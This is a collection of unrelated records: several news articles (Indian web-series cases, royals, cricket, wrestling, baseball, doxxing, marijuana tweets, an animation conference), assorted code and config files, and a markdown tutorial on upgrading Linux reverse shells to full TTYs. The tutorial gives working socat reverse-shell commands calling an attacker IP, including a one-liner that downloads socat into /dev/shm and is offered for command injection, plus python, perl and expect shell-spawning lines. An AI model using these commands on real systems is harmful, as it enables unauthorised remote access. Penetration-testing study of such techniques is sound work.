The makers and an actor of Amazon Prime web series "Tandav", who appealed for protection against arrest, failed to get any relief from the Supreme Court today. At least three cases have been lodged in Uttar Pradesh against the makers of the series, alleging inappropriate depiction of UP Police personnel and deities, and adverse portrayal of a character playing the role of prime minister. Similar cases have been lodged in other states including Madhya Pradesh, Maharashtra, Karnataka, Bihar, Delhi and Chandigarh. The makers have been accused of "hurting religious sentiments", "promoting religious enmity" and "defiling a place of worship". "The producer, director, and artistes of web series Tandav have committed the crime of spoiling social harmony and unity and hurting Hindu religious sentiments. Tough legal action will be taken," Uttar Pradesh Deputy Chief Minister Keshav Prasad Maurya had tweeted. The spate of cases, which started after criticism on social media, continued even after the makers issued an apology and followed it up with changes in two scenes "to address concerns". Subsequently, actor Zeeshan Ayyub, Amazon Creative Head Aparna Purohit and the maker of the series Himanshu Kishan Mehra had moved the top court asking for a freeze on possible arrest. In their petition, they also said facing prosecution in various states involved harassment and wanted the intervention of the top court to transfer the First Information Reports to Mumbai. The court has agreed to consider the second request of the petitioners, who were being represented by senior Lawyers Fali Nariman, Mukul Rohatgi and Sidharth Luthra. Fali Nariman pointed out that the makers of the series have already apologised, and the contents had been removed. Mukul Rohatgi argued his clients did nothing wrong and the serial is only a "political satire". In this context, he also quoted the case involving the Republic editor Arnab Goswami, where the court granted him protection from arrest, upholding "personal liberty" of citizens. Today, as lawyers argued the question of freedom of speech and expression, Justice MR Shah said, "Right to freedom of speech is not absolute " Actor Ayub's lawyer argued that his client was just an actor working under a contract, and the views expressed were that of the character in the series. "You accepted the contract after reading the script. You cannot hurt religious sentiments," Justice Shah said. The court refused to allow interim protection and asked the petitioners to approach the High Courts. Last week, a police team from Uttar Pradesh reached Mumbai to question the makers of the Saif Ali Khan-Dimple Kapadia starrer. The case, filed on a complaint by BJP legislator Ramchandra Kadam, named the cast and crew of Tandav, including director Ali Abbas Zafar and actors Saif Ali Khan and Mohammed Zeeshan Ayyub. Content for web serials are not are not subject to the censor boards. But with leading streaming platforms including Netflix, Amazon, and Disney's Hotstar commissioning local content, there has been a call for regulation, especially from BJP leaders.
english
/** * Returns a function that clamps input values to range [min <= x <= max]. * Useful for carousels etc without wrapping around (compare `wrap`). * Swapping min and max is allowed and will be corrected. * * @param {int} min The range minimum (optional). * @param {int} max The range maximum, inclusive. * @return {function} The function that limits its input to the specified range. */ 'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); exports['default'] = clamp; function clamp(min, max) { // Set min to 0 if only one value specified if (typeof max === 'undefined') { max = min; min = 0; } // Swap min and max if required if (min > max) { var tmp = min; min = max; max = tmp; } return function (value) { return Math.min(Math.max(value, min), max); }; } module.exports = exports['default'];
javascript
Meghan Markle recently celebrated her 42nd Birthday with her friends and family, but did you know this day is also important for Prince William for one reason. Meghan Markle celebrated her 42nd birthday on Friday with her friends and family but surprisingly there's another royal for whom August 4 holds a special significance. For the British Royals, the 4th day of August held value even before Markle was married into the family. And that is all because of Prince William. Read on to know more. Why is August 4 Prince William's special day? Even though because of the news around Meghan Markle's Birthday, the public might relate the date August 4 to her, initially it held significance to the British Royal family even before the former actress entered the family. Interestingly, before her marriage to Prince Harry in 2018, August 4 held historical significance in the royal calendar as it marked Prince William's christening day. According to his royal biography, all the way back in 1982, precisely 41 years ago, a young Prince William Arthur Philip Louis was christened by the Archbishop of Canterbury in the Music Room at Buckingham Palace. At a mere six weeks old, the young prince's christening was commemorated with official portraits. In the photo, Princess Diana tenderly cradled her infant son, while her husband, now known as King Charles, grandparents Queen Elizabeth and Prince Philip, and great-grandmother Queen Elizabeth, the Queen Mother, looked at the camera with soft smiles. The tradition of getting family portraits clicked after royal christenings is a long enduring practice for the royals, as evidenced when Prince Harry was born and baptized in 1984. In subsequent decades, analogous photographs were taken to mark the christenings of William and Kate Middleton's children — Prince George, Princess Charlotte, and Prince Louis. ALSO READ: Did Royal Family wish Meghan Markle on her 42nd birthday despite ongoing issues? Even before Markle and Prince William, August 4 was a day marked with celebrations already. Queen Elizabeth's mother was born on August 4, 1900! In his memoir Spare, released earlier this year, Prince Harry shared an endearing moment when his father, King Charles, discovered that the Duchess of Sussex shares the same birthdate as his cherished grandmother. According to the narrative, the 38-year-old recounted that this connection came up when he and the Suits actress visited the then Prince Charles in Scotland at the Castle of Mey during the Summer of 2018. Meanwhile, Markle and her husband Prince Harry celebrated her birthday week by visiting a posh restaurant with their friend Matt Cohen. For her actual birthday, Meghan opted staying at home to spend some quality time with her family.
english
import { ApiDocsBlock } from '@/types/configTypes' import { PageGenerationHelper } from '@/helpers/DocsHelper' const block = new PageGenerationHelper(__dirname) const config: ApiDocsBlock[] = [ block.title('uiElementGuide.title'), block.paragraph('uiElementGuide.description'), block.subtitle('uiElementGuide.highLevelStrategy.title'), block.list([ 'uiElementGuide.highLevelStrategy.description.userExpectations', 'uiElementGuide.highLevelStrategy.description.qualityComponents', ]), block.subtitle('uiElementGuide.coreFeatures.title'), block.list([ 'uiElementGuide.coreFeatures.description.visualFeedback', 'uiElementGuide.coreFeatures.description.keyboardNavigation', 'uiElementGuide.coreFeatures.description.statelessSupport', ]), ] export default config
typescript
{ "name": "CompareQueries", "id": "autohome-comparequeries-datasource", "type": "datasource", "metrics": true, "mixed": true, "hiddenQueries": true, "annotations": false, "queryOptions": { "minInterval": true }, "info": { "description": "This plugin is built as a datasource plugin that combines and contrasts different time shifts data.", "version": "1.0.0", "updated": "2021-11-05 11:00:00", "keywords": [ "datasource", "compare", "time shift" ], "author": { "name": "AutohomeCorp", "url": "https://github.com/AutohomeCorp/autohome-compareQueries-datasource" }, "links": [ { "name": "GitHub", "url": "https://github.com/AutohomeCorp/autohome-compareQueries-datasource#readme" } ], "logos": { "small": "img/logo.png", "large": "img/logo.png" } }, "dependencies": { "grafanaVersion": "4.x.x", "plugins": [] } }
json
Al-Aqsa means the ‘farthest mosque’ and it was called Masjid Al-Aqsa because it was the farthest most mosque from Mecca at that time. Another commonly referred term for the mosque is “Bait-ul-Maqdis” meaning the Holy House which is pure and sanctified. When was it built? A hadith mentions a very important fact about its inception. In Sahih Bukhari, it s stated that Abu Dharr al-Ghifari asked the prophet (P.B.U.H), “O Messenger of Allah which mosque was built the first?” on which prophet Muhammad (PBUH) replied, “Masjid-ul-Haram”. He asked again, “which was the next?”. Prophet Muhammad (PBUH) replied, “Masjid-ul-Aqsa”. Abu Dharr al-Ghafari asked, “what was the time period between the building of Kaaba and building up Masjid Al Aqsa?”. “40 years”, Prophet (PBUH) responded. What are the blessings of Al Aqsa? Allah Subhana Wata’Allah says in Quran that this is a land that is blessed for all nations. It was the mosque Al-Aqsa from which Prophet Muhammad (PBUH) traveled his way to heaven on the night of Meraj. Our prophet bowed down in prayers facing Masjid Al-Aqsa until he was asked to pray towards Kaaba. It is known from Islamic scriptures and other sacred excerpts that the believers were told to make their sacred journeys to one of the mosques; Masjid-ul-Haram in Mecca, Masjid-ul-Nabawi in Madina, and Masjid Al-Aqsa in Jerusalem.
english
<gh_stars>0 { "type": "none", "comment": "update sample versions", "packageName": "msal-node-client-credentials", "email": "<EMAIL>", "dependentChangeType": "none", "date": "2020-08-27T19:13:36.822Z" }
json
import asyncio import click from precon.devices_handlers.distance_sensor import show_distance as show_distance_func from precon.remote_control import steer_vehicle, Screen try: import RPi.GPIO as GPIO except (RuntimeError, ModuleNotFoundError): import fake_rpi GPIO = fake_rpi.RPi.GPIO @click.command(name="rc") def remote_control() -> None: loop = asyncio.get_event_loop() try: with Screen() as screen: loop.run_until_complete(steer_vehicle(screen)) except KeyboardInterrupt: print("Finishing remote control...") except Exception as e: print("Raised unexpected error: %s" % e) finally: GPIO.cleanup() @click.command(name="show-distance") def show_distance() -> None: loop = asyncio.get_event_loop() try: loop.run_until_complete(show_distance_func()) except KeyboardInterrupt: print("Finishing measuring distance...") except Exception as e: print("Raised unexpected error: %s" % e) finally: GPIO.cleanup()
python
jQuery( document ).ready( function( $ ) { var JOBAD_IN_PAGE; var selector = jQuery("#mw-content-text"); JOBAD_IN_PAGE = new JOBAD(selector); JOBAD.config.BootstrapScope = "bootstrap"; //Bootstrap CSS scope JOBAD_IN_PAGE.modules.load([ "math.clipboard", "mathjax.mathjax", 'math.wolframalpha' ], function(mod, state){ this.Setup(); }); true; });
javascript
// 定义一个空对象 // 这个对象用来和服务器通信 // 这样我们只需使用函数而不用关心服务器的具体细节 var api = {} var log = function(){ console.log(arguments) } /* 给对象添加一个 ajax 方法 它接受 url method form 等 4 个参数 其中 callback 是函数,用于在收到服务器响应后回调 */ api.ajax = function(url, method, form, callback){ // 生成一个请求 var request = { url: url, type: method, data: form, success: function(response){ log('sucess') // 这个 response 是 ajax 给我们传的参数 // 解析后 调用 callback 函数并把参数传给他 // var r = JSON.parse(response) callback(r) }, error: function(err){ log('err') var r = { 'success': false, message: '网络错误' } callback(r) } } // 用 jQuery 的 ajax 函数发送这个请求 log('api ajax') $.ajax(request) } /* api 内部函数,发一个 post 请求 */ api.post = function(url, form, response) { // response 是一个回调函数 api.ajax(url, 'post', form, response) } api.get = function(url, response) { // response 是一个回调函数 form = {} api.ajax(url, 'get', form, response) } ///////////api////////////////////
javascript
It’s been four years since the 2019 World Cup for team India, but finding an ideal number four still remains. Cut to 2023, Rohit Sharma & Co are back to square one – no solid player at the crucial role in ODIs ahead of World Cup 2023. Ravi Shastri though has suggested Virat Kohli to bat at the number four if Shreyas Iyer does not recover fully from injury ahead of the showpiece event. Kohli has a good record at number four as he has scored 1767 runs at an average of 55.21. However, just pushing the former India captain one position down ahead of the World Cup could mess team’s combination. Suryakumar Yadav has so far failed to seal the number four spot in the absence of Iyer, as he has scored only two fifties in 24 ODI innings at a dismal average of 24. Shastri reckons Kohli can bat at number four if the team wants. “If Virat has to bat at four, he will bat at four in the interest of the side. You know, there were times I thought of it,” Shastri said in a chat on Star Sports’ Selection Day show. “Even in the previous two World Cups, when I was coach in 2019, I thought I might have discussed that with MSK as well of him batting at four just to break that top-heavy lineup,” he said. Also read: Virat Kohli: Why Shastri believes Kohli can bat at number four during World Cup 2023? · Suryakumar’s repetitive failures and Shreyas Iyer’s availability for the World Cup is pushing Rohit Sharma, & coach Dravid to think of using Kohli at number four. · Also, during the West Indies ODI series Ishan Kishan opened and scored three consecutive fifties. Kishan offers a left-hand option as well in a right-hander batting-heavy lineup. · If Rahul does not keep wickets during Asia Cup, then Kishan can bat up with Gill. Rohit can bat at number three. · If Rohit bats at three, then Kohli can bat at four. This will allow India much-needed stability in the middle order. · But if Rahul recovers during Asia Cup and can keep wickets then India won’t play Kishan at the top. Shastri also stated that with Kohli’s huge amount of experience, Team India should think of using him at four. “You know, because if we lost two or three at the top, we were gone, and it was proved so just for reaching that experience. And if you look at Kohli’s record, he is good enough at number four,” said Shastri.
english
Hyderabad, May 13: Making sensational comments on the present day heroines, veteran producer and director Dasari Narayana Rao said there are no heroines in the Telugu film industry now. Stating that today's heroine are only item girls and not actresses, Dasari said in the past there were actresses like Silk Smita and Disco Shanti, who were confined to performing only item songs in Telugu films. But today lead actresses themselves have turned into item girls, he said. He made these comments during a felicitation event in Hyderabad's Ravindra Bharati. Dasari also said that in the past there were one or two special item songs in the films, but today almost every song looks like a special item song. As a parting shot, Dasari said that the career span of today's actresses was just five years in comparison to actress of the yore.
english
WWE is in a tough position right now. There has been a significant drop in TV ratings for both SmackDown Live and RAW in recent weeks. The quality of content has also taken a step back, and while the company is taking measures to bring back viewers, it's just not happening right now. The 24/7 Championship belt, the Wild-Card rule, and other changes were all introduced to give something new to the viewers, but the ratings are only plummeting to all-time lows week after week. WWE's rise as the number one professional wrestling organization was born out of stiff competition from the rival company WCW. As things are today, AEW stands as a threat to WWE and seems capable enough to seriously challenge them once its weekly programming commences in October of this year. Presented with formidable competition for the first time in almost two decades, WWE appears to be worried about AEW's growth and the kind of edgier content that they have been able to provide in their last two, very well-received Pay-Per-Views. In the most recent episodes of RAW and SmackDown Live (1st and 2nd of July, 2019), there were many moments that were reminiscent of the Attitude Era. While many can call this a return to the Attitude Era or Attitude Era-lite, WWE is just trying to generate interest through adult-oriented content without actually going back to the former wrestling product. WWE can potentially lose many young viewers to AEW; a jump back to content which is not exactly PG, but isn't explicitly a reversion to TV-14. helps the company in many ways. AEW and WWE both boast of a talented roster. AEW's sudden rise in the business can be explained by the superstars that they have in prominent positions. Kenny Omega, Cody Rhodes, and The Young Bucks' absence from NJPW and Ring Of Honor has left both companies relatively depleted. On the other front, Chris Jericho and Jon Moxley have left WWE and are boosting AEW's chances to vie for the top spot in the industry, without the constraints that a PG show carries. Double or Nothing and Fyster Fest - both Pay-Per-Views were critically acclaimed as top-quality wrestling shows. They have helped established AEW as an upstart promotion with real potential. With edgier content on offer - whether it is in the form of Cody Rhodes vs. Dustin Rhodes, the unprotected chair shot to Cody Rhodes (which was a major talking point after Fyter Fest), or the overall vibe of the product - Tony Khan's company has set itself apart. Rhodes has said that blood and violence will help make AEW different from WWE, and WWE is trying to combat it with a fresh direction targeted more toward the adult demographic.
english
There is no sign of an end in sight for the Carlos Correa story. But this hasn't dampened Correa's spirits as the MLB All-Star celebrated Christmas with all love with his wife Daniella Correa and their son. Daniella posted a couple of photos from their intimate Christmas celebration in which the family is seen cuddling and enjoying time together. Daniella is seen flaunting her baby bump in the pictures. The duo announced their second pregnancy in October this year. Here's how they announced their second pregnancy. November is definitely the busiest and most special month for the Correas. They were first married in a Texas courtroom in November 2019 and then had a beach wedding in the Dominican Republic at the Hard Rock Hotel & Casino in December. When Correa proposed to the former Miss Texas USA on the field during the Houston Astros' first World Series victory in 2017, the couple went viral. The Correa Family Foundation, which aims to provide life-changing experiences and financial support to kids with cancer and their families, also has Daniella as its vice president. Additionally, the organization makes donations and aids areas hit by natural catastrophes. The New York Mets are raising concerns about Correa's health. The terms of his long-term contract with the Mets may change in light of the most recent information. Less than a week after signing a 12-year, $315 million pact, the Mets have "raised concerns" over the players' physicals. For the New York Mets, Correa's surgically repaired right leg seems to be a problem. What this means for the contract between the Mets and Correa is still uncertain. But it seems as though the narrative has been going on all offseason. The San Francisco Giants revealed a massive 13-year, $350 million contract for Correa on December 13. Soon after, the trade fell through due to issues with Correa's medical, according to the Giants. There is no denying Correa's skill on the field. He is thought to be among the best players in MLB, both offensively and defensively. Last season, Correa participated in 136 games. He put in a strong performance for the Minnesota Twins. He had the second-most home runs (22) and RBIs on the team (64). Click here for 2023 MLB Free Agency Tracker Updates. Follow Sportskeeda for latest news and updates on MLB.
english
<filename>pointimposters/NdfImposters/NdfImposterLibraryTests/selectionV.cpp #version 420 in vec2 Position; out vec2 texCoords; void main() { gl_Position = vec4(Position.xy, 0.0f ,1.0f); gl_Position.x /=(.5f* 1280.0f); //gl_Position.x = gl_Position.x; gl_Position.y /= (.5f*720.0f); gl_Position.x -= 1f; gl_Position.y -= 1f; gl_Position.y *= -1.0f; texCoords = vec2(1.0f-Position.x/1280.0f,Position.y/720.0f); //(gl_Position.xy + 1.0f) * 0.5f; }
cpp
The term ‘doxxing’ has recently gained widespread attention after Twitter suspended the accounts of several prominent journalists who reported on Elon Musk, the emerging Twitter beat, and a ‘stalker’ ElonJet bot account that endangered Elon Musk’s son, X. Doxxing, short for ‘dropping dox,’ is the act of exposing a person’s personal information online without that person’s consent. Personal information can include the person’s name, address, phone number, email address, and in Elon Musk’s case, his child’s real-time whereabouts. Elon Musk tweeted about updated doxxing policies on Wednesday after his son X was being stalked in real-time. “Any account doxxing real-time location info of anyone will be suspended, as it is a physical safety violation. This includes posting links to sites with real-time location info. " Earlier, Twitter suspended ElonJet, an account that was tracking Elon Musk’s private jet in real-time. Musk threatened legal action against the account’s operator after claiming his son was mistakenly followed by a stalker. Is Doxxing a Cybercrime? India currently has no specific law against doxxing. However, there are laws against voyeurism, sharing sexually explicit or obscene content, defamation, and online stalking, which may apply in cases of doxxing. Doxxing violates the fundamental right to privacy and threatens the right to dignity as it is protected by the Constitution of India, and can lead to harassment and put individuals in danger. - Use privacy settings and restrict who can see your personal information. - When disclosing information to others, exercise caution and only share personal information with those you trust. - Using a VPN can help you hide your real-time location and prevent you from being tracked. - Be wary and avoid publicly posting your personal information online on social networking platforms. What is Twitter’s New Policy on Doxxing? As per Twitter, “Sharing someone’s private information online without their permission, sometimes called doxxing, is a breach of their privacy and of the Twitter Rules. " If a user shares ‘private or live location information,’ Twitter will ask you to remove the content, and “will also temporarily lock you out of your account before you can Tweet again. " And, if a user commits the same breach of privacy again, “after your first warning, your account will be permanently suspended. " If you use your account to share the live location of another person, your account will be suspended automatically. And, if a user shares ‘private media,’ of an individual without their consent, Twitter will “require you to remove the content and temporarily lock your account while you remove the media. " Twitter suspended the accounts of several journalists—including Ryan Mac of The Times, Drew Harwell of The Post, Donie O’Sullivan of CNN, and Matt Binder of Mashable. The account of independent journalist Aaron Rupar, who reports on U. S. policy and politics, was also suspended.
english
Sunday May 14, 2017, The Karnataka government is planning for a big push to the games, animation and special effects industry, and as part of its plans, a digital city is coming up in Bengaluru where large studios are expected to set up shop. The three-day GAFX 2017, India's largest games, animation and visual FX conference currently under way in Bengaluru since May 12, has proved to be a big draw for teenagers, who have swarmed the venue in thousands. Packed to the gills, the event has attracted animation students, gaming enthusiasts and special effects creators from far and near. Representatives from prominent studios have responded to the invite from the Karnataka government to present their views and take stock of an industry where demand for content is only increasing due to broadband penetration and 4G via mobile. This conference is a stepping stone for aspiring youth to make a career in the animation industry, and also provides learning opportunities for professionals. Top names in the industry such as Pixar Animation Studios, Walt Disney Animation Studios, Dreamworks Animation, Double Negative, The Third Floor, MPC, Ubisoft and many other companies, along with university professors, are taking part in the event to take stock of the talent available. Animation and visual effects students brimming with creativity swarmed the venue to take part in the event. “We are here to grasp concepts of the future, and to participate in and win competitions,” says Armaan Kumar, a student. Minaketan Oinam of Manipur, who is studying in the city to become an animator, was full of praise for the event workshops that were conducted by some of the best talent in the industry. He was able to rub shoulders with seasoned professionals from his field of interest. The 19-year-old from the Asian Institute of Gaming and Animation in Bengaluru has stars in his eyes and dreams in his heart just like thousands of other youngsters from across the country who have pitched tent here to learn from what the conference has to offer. From virtual reality (VR) stalls at the exhibition centre to a hackathon, from technical sessions on how to create special effects and use lighting to lessons on how to make images come to life as well as gaming, there is something for everybody under one roof, including workshops. Ananthu KK, another student, asked a panellist a question in all curiosity: “How would my life be in a studio environment? ” After the session, he said he asked the ‘life’ question because he wanted to know if the job as an animator would be fulfilling. To rouse the interest of more youth in the GAFX industry, the state government is working to increase employability among animation and gaming graduates. A student, Juliette Salve, said she found the event to be better than a classroom environment as there was so much to learn from it. Danish Ahmed from Chhattisgarh, who studies in an animation college in the city, said he found the event fascinating as it presented him with an opportunity to measure one's own talent. He wants to pursue a career in the digital field and was impressed with Pixar and Disney professionals participating in the event. Most of the youngsters attending the event are pursuing their four-year course in animation and gaming. Jai Shrivastav from Uttar Pradesh, pursuing a course in a Bengaluru institution, said he was grateful to the Karnataka government for organising the GAFX conference. Many students said they hoped that the conference would become an annual edition and large enough to become a talent pool for international studios to recruit. That Priyank Kharge, Karnataka's IT minister, was an animator and a visual design student, came as a surprise to many at the conference. Kharge noted that with 18 percent year-on-year growth in animation, and 22 percent growth in online gaming, this sector is expected to generate sales worth $1 billion by 2021. He said, "To tap this explosive growth, the Karnataka government is establishing a Centre of Excellence for Animation and a digital media city, both of which will come up in the next couple of months in Bengaluru. . . . Now, with the IT industry issuing pink slips, this sector is expected to generate lots of jobs. " Kharge indicated that some well-known studios were keen to set shop in Bengaluru, while existing ones in other Indian cities were looking to shift to Bengaluru as the government here is keen on setting up a digital city. “We are also looking at developing original IP content and not limited to entertainment only,” he added. Manasa Annadanam and her friends came for GFAX all the way from Hyderabad. “We are getting the industry’s big picture here,” she said. They admitted that they would not have got an opportunity to witness a whole range of learning at one place. “We are learning new techniques in 3D, lighting and interesting stuff to improve our work,” Manasa added. Jayaniyathi B recalled the technical session by Craig Caldwell from Utah University. They were impressed with his talk titled 'Masterclass in Story'. “Prof Caldwell made it interesting by screening animation shots, a discussion by people behind Toy Story 3 and by pointing out simple but effective technical shots that could make a huge difference on screen. " Many students swore by Sharon Calahan’s technical prowess after she spoke on storytelling by light. She is the director of photography for the movie The Good Dinosaur created by Pixar Animation studios. Indeed, the sessions by Dreamworks, Pixar, Disney had a huge draw. This conference was originally being held by the Association of Bengaluru Animation Industry, and has been renamed GAFX after the Karnataka government stepped in this year. A session on 'Cinematics VR' by Mathieu Miller of Unity Technologies was a full house, while game developers too had their own following. “The international mix gave the event a fantastic feel,” said Joan Garcia, a freelance animator who was passing through the city and looked into The Lalit where GAFX is being held. Steve Walker, Art Director, Dhruva Interactive, spoke about high-end character animation for games. “We don’t get to interact with such wizards,” said Sabitha after she attended his session. Philippe Gluckman, Creative Director, DreamWorks India, has a fan following of his own. Some youngsters were seen taking selfies with him. “I hope to one day work with Dreamworks India,” said an youngster, clearly excited to run into industry pros.
english
<filename>application/third_party/discussions/261587.json [ { "Id": "628538", "ThreadId": "261587", "Html": "\r\n<p>Hi All,</p>\r\n<p>I have numeric values like '1070.594' in &quot;my DB. I have created export functionality in my site with PhpExcel class. As I have regional settings in my PC as Dutch (NetherLand). I want this numeric value to be displaeyd as &quot;1.070,594&quot; in the excel sheet.</p>\r\n<p>I tried with changing the number format and i got the &quot;1.070,594&quot; value displayed in the excel sheet. But this value is saved as text. So i cant apply formulas like =sum() on this.</p>\r\n<p>When i tried without applying number format and then exported the excel, I could apply the formulas in the excel sheet. But value is displayed as &quot;1070.594&quot;.</p>\r\n<p>So is it possible to <strong>display numeric value as &quot;1.070,594&quot; (Dutch netherland regional settings) and apply the formulas in the exported excel sheet</strong>.</p>\r\n<p>Are these both things achievable at a time with PhpExcel??</p>\r\n<p>Please help.</p>\r\n<p>&nbsp;</p>\r\n", "PostedDate": "2011-06-16T00:25:11.877-07:00", "UserRole": null, "MarkedAsAnswerDate": null } ]
json
--- description: >- How to upgrade a linux reverse shell to a fully usable TTY shell title: Upgrade a linux reverse shell to a fully usable TTY shell # Add title of the machine here date: 2021-04-29 08:00:00 -0600 # Change the date to match completion date categories: [Tips & Tricks] # Categories tags: [hacking, redteam, tips-n-tricks, socat, expect, python, linux, macos] # TAG names should always be lowercase; add relevant tags show_image_post: true # Change this to true #image: /assets/img/ # Add image here for post preview image --- ![Hack responsibly disclaimer](/assets/markups/1-hack-responsibly.svg) ## Upgrading remote shells (Unix machines only) Usually, after catching a shell through netcat you are placed in a shell that has very limited functionality. The features I miss the most are command history (and using the 'up' and 'down' arrows to cycle through them) and tab autocompletion. It can feel quite disorienting working in a shell that is missing these vital features. **Note:** To check if the shell is a TTY shell use the `tty` command. ## rlwrap You can also mitigate some of the restrictions of poor netcat shells by wrapping the netcat listener with the `rlwrap` command. This is not installed by default so you will need to install it using `sudo apt rlwrap`. ```bash rlwrap nc -lvnp $port ``` If the remote machine has Python installed you can easily upgrade to a fully functional TTY shell. ## Upgrade to fully interactive shell using Python: 1. First, after recieving your reverse shell you need to check the availability of Python. You can do this with the `which` command. ```bash which python python2 python3 ``` If any of these are installed this command will return the full path of the installed binary. Note: The `which` command will only report programs that are installed in a folder that exists in `$PATH`. Python will almost always be in a `$PATH` directory so this should not be an issue. 2. Next, on the victim machine type the below command (using the version of python that is available on the machine!) ```bash python -c 'import pty;pty.spawn("/bin/bash")'; #spawn a python psuedo-shell ``` Your command prompt may or may not change to reflect the new shell. If it does not change, do not panic as this is configured locally and will depend on setting on the machine you are on. 3. Next, type `ctrl-z` to send your shell to the background. 4. On your attack platform, you will need to set up your shell to send control charcters and other raw input through the reverse shell. You can do this by using the `stty` command as below. ```bash stty raw -echo stty size ``` The second command above will report the size of your terminal window in rows and columns. This is useful for command output that either fills the whole terminal (such as when using programs such as `nano` or `vim`) or that would output lines that are too long to fit in the window. Fixing the window size will allow for word-wrapping instead of cutting off output that is too long. 5. After that, type the command `fg` to return the reverse shell to the foreground. 6. Next, on the victim machine type the below commands to set some important environment variables. ```bash export SHELL=bash stty rows $x columns $y #Set remote shell to x number of rows & y columns export TERM=xterm-256color #allows you to clear console, and have color output ``` Viola! You should now be the proud owner of a shiny new fully upgraded TTY shell with command history using the 'up' and 'down' arrows. This shell will also allow you to use the command `clear` to clear your screen and 'control' commands, such as `ctrl-c` to kill remotely running processes rather than your own shell! Enjoy! ## Using Other Scripting Languages: Below are some examples of other scripting languages that can be used to achieve the same upgraded shell as the second step above. Afterwards follow along from step 3. ```python echo os.system('/bin/bash') /bin/sh -i #python3 python3 -c 'import pty; pty.spawn("/bin/sh")' #perl perl -e 'exec "/bin/sh";' #ruby exec "/bin/sh" ruby -e 'exec "/bin/sh"' #lua lua -e "os.execute('/bin/sh')" ``` ## Using “Expect” To Get A TTY If you’re lucky enough to have the [Expect](http://en.wikipedia.org/wiki/Expect) language installed just a few lines of code will get you a good enough TTY to run useful tools such as “ssh”, “su” and “login”. Create a script called `sh.exp` ```bash #!/usr/bin/expect # Spawn a shell, then allow the user to interact with it. # The new shell will have a good enough TTY to run tools like ssh, su and login spawn sh interact ``` Then, execute this script on the victim machine. For added sneakiness, run the script [from memory](https://zweilosec.github.io/posts/execute-in-memory/). ## Using socat Another option is to upload the binary for `socat` to the victim machine and magically get a fully interactive shell. Download the appropriate binaries from [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries). Socat needs to be on both machines for this to work. ```bash #Create Listener on attack platform: socat file:`tty`,raw,echo=0 tcp-listen:4444 #From Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444 ``` ## socat one-liner This one-liner can be injected wherever you can get command injection for an instant fully interactive reverse shell. Point the path to the binary to your local http server if internet access is limited on the victim. ```bash wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.15.100:4444 ``` ### Disclaimer Note: The methods above will not work in every situation. For example, I have regularly run into a problem on my Kali machine where attempting to use `stty raw -echo` while using `zsh` as my shell will cause the entire terminal to become unusable. I have gotten around this issue by switching to `bash` before I start any netcat listener that I will be using to catch a shell. ## Other Examples If you have any other examples of methods of upgrading reverse shells, or have any other fun or useful tips or tricks, feel free to contact me on Github at [https://github.com/zweilosec](https://github.com/zweilosec) or in the comments below! If you like this content and would like to see more, please consider buying me a coffee! <a href="https://www.buymeacoffee.com/zweilosec"><img src="https://img.buymeacoffee.com/button-api/?text=Buy me a coffee&emoji=&slug=zweilosec&button_colour=FFDD00&font_colour=000000&font_family=Lato&outline_colour=000000&coffee_colour=ffffff"></a>
markdown
<gh_stars>1-10 import logging import warnings from .exceptions import ConfigError logger = logging.getLogger(__name__) class Ctl: def __init__(self, config): warnings.warn('Ctl is deprecated, use lmctl.config.Config instead', DeprecationWarning) self.config = config self.environments = self.config.environments def environment_group_named(self, env_name): warnings.warn('Ctl is deprecated, use lmctl.config.Config instead', DeprecationWarning) if env_name not in self.environments: raise ConfigError('No environment group with name: {0}'.format(env_name)) return self.environments[env_name]
python
Pro-marijuana "tweets" are multiplying on the micro-blogging site, finds a study, adding that most of those sending and receiving "pot tweets" were aged under 25. After analysing every marijuana-related Twitter message sent during a one-month period in early 2014, researchers at Washington University's school of medicine in St Louis found that the "Twitterverse" is a pot-friendly place. In that period, more than seven million tweets referenced marijuana with 15 times as many pro-pot tweets sent as anti-pot tweets. "Although we cannot yet link pro-pot tweets to actual drug use, we should be worried because many people are receiving these messages are at an age when they are most likely to experiment with drugs and develop problems with substance use," explained Patricia A Cavazos-Rehg, assistant professor of psychiatry. It is a concern because frequent marijuana use can affect brain structures and interfere with cognitive function, emotional development and academic performance, Cavazos-Rehg added. In the new study, Cavazos-Rehg and her colleagues worked with social media analytics company Simply Measured to find every tweet about marijuana sent from Feb 5 to March 5, 2014. They conducted computer searches using search terms such as "joint," "blunt," "weed," "stoner" and "bong" to discover more than 7. 6 million tweets related to pot. The researchers found that 77 percent were pro marijuana, five percent were against pot and 18 percent were neutral. People tweeting pro-marijuana messages had a total of more than 50 million Twitter followers, about 12 times more than those tweeting anti-marijuana messages. "Many people believe marijuana use is harmless and social media conversations almost certainly drive some of those opinions, making the drug appear socially acceptable," the authors pointed out. The findings were reported online in the Journal of Adolescent Health.
english
<filename>spotify-song-suggester/src/components/RegisterForm.js<gh_stars>0 import React from "react"; import { Formik, Form, Field } from "formik"; import "./RegisterForm.css"; import * as Yup from "yup"; import axios from "axios"; import { useHistory } from 'react-router-dom'; const RegisterForm = () => { const initialValues = { name: "", email: "", password: "", }; const history = useHistory([]); // https://spotifysongsbw.herokuapp.com/api/user/register // https://reqres.in/api/users const onSubmit = (values) => { axios.post("https://spotifysongsbw.herokuapp.com/api/user/register", values) .then(res => { console.log(res) history.push("/login") }) .catch(err => console.log(err.message)) }; const validationSchema = Yup.object().shape({ name: Yup.string().required("*Enter your name"), email: Yup.string().email("*Invalid email address").required("*Must enter email"), password: Yup.string().required("*Must enter password"), }); return ( <div className="register"> <h2>Register</h2> <Formik {...{initialValues, onSubmit}} validationSchema={validationSchema}> {({ values, handleChange, touched, handleBlur, errors}) => ( <Form className="form"> <div className="field-wrap"> <label htmlFor="name">Username</label> <Field type="text" id="name" className="field" name="name" placeholder="username" /> <span className="errors"> {touched["name"] && errors["name"]} </span> </div> <div className="field-wrap"> <label htmlFor="email">Email</label> <Field type="email" id="email" className="field" name="email" placeholder="email" /> <span className="errors"> {touched["email"] && errors["email"]} </span> </div> <div className="field-wrap"> <label htmlFor="password">Password</label> <Field type="password" id="password" className="field" name="password" placeholder="password" /> <span className="errors"> {touched["password"] && errors["password"]} </span> </div> <div> <button className="register-submit" type="submit"> Submit </button> </div> </Form> )} </Formik> </div> ) } export default RegisterForm;
javascript
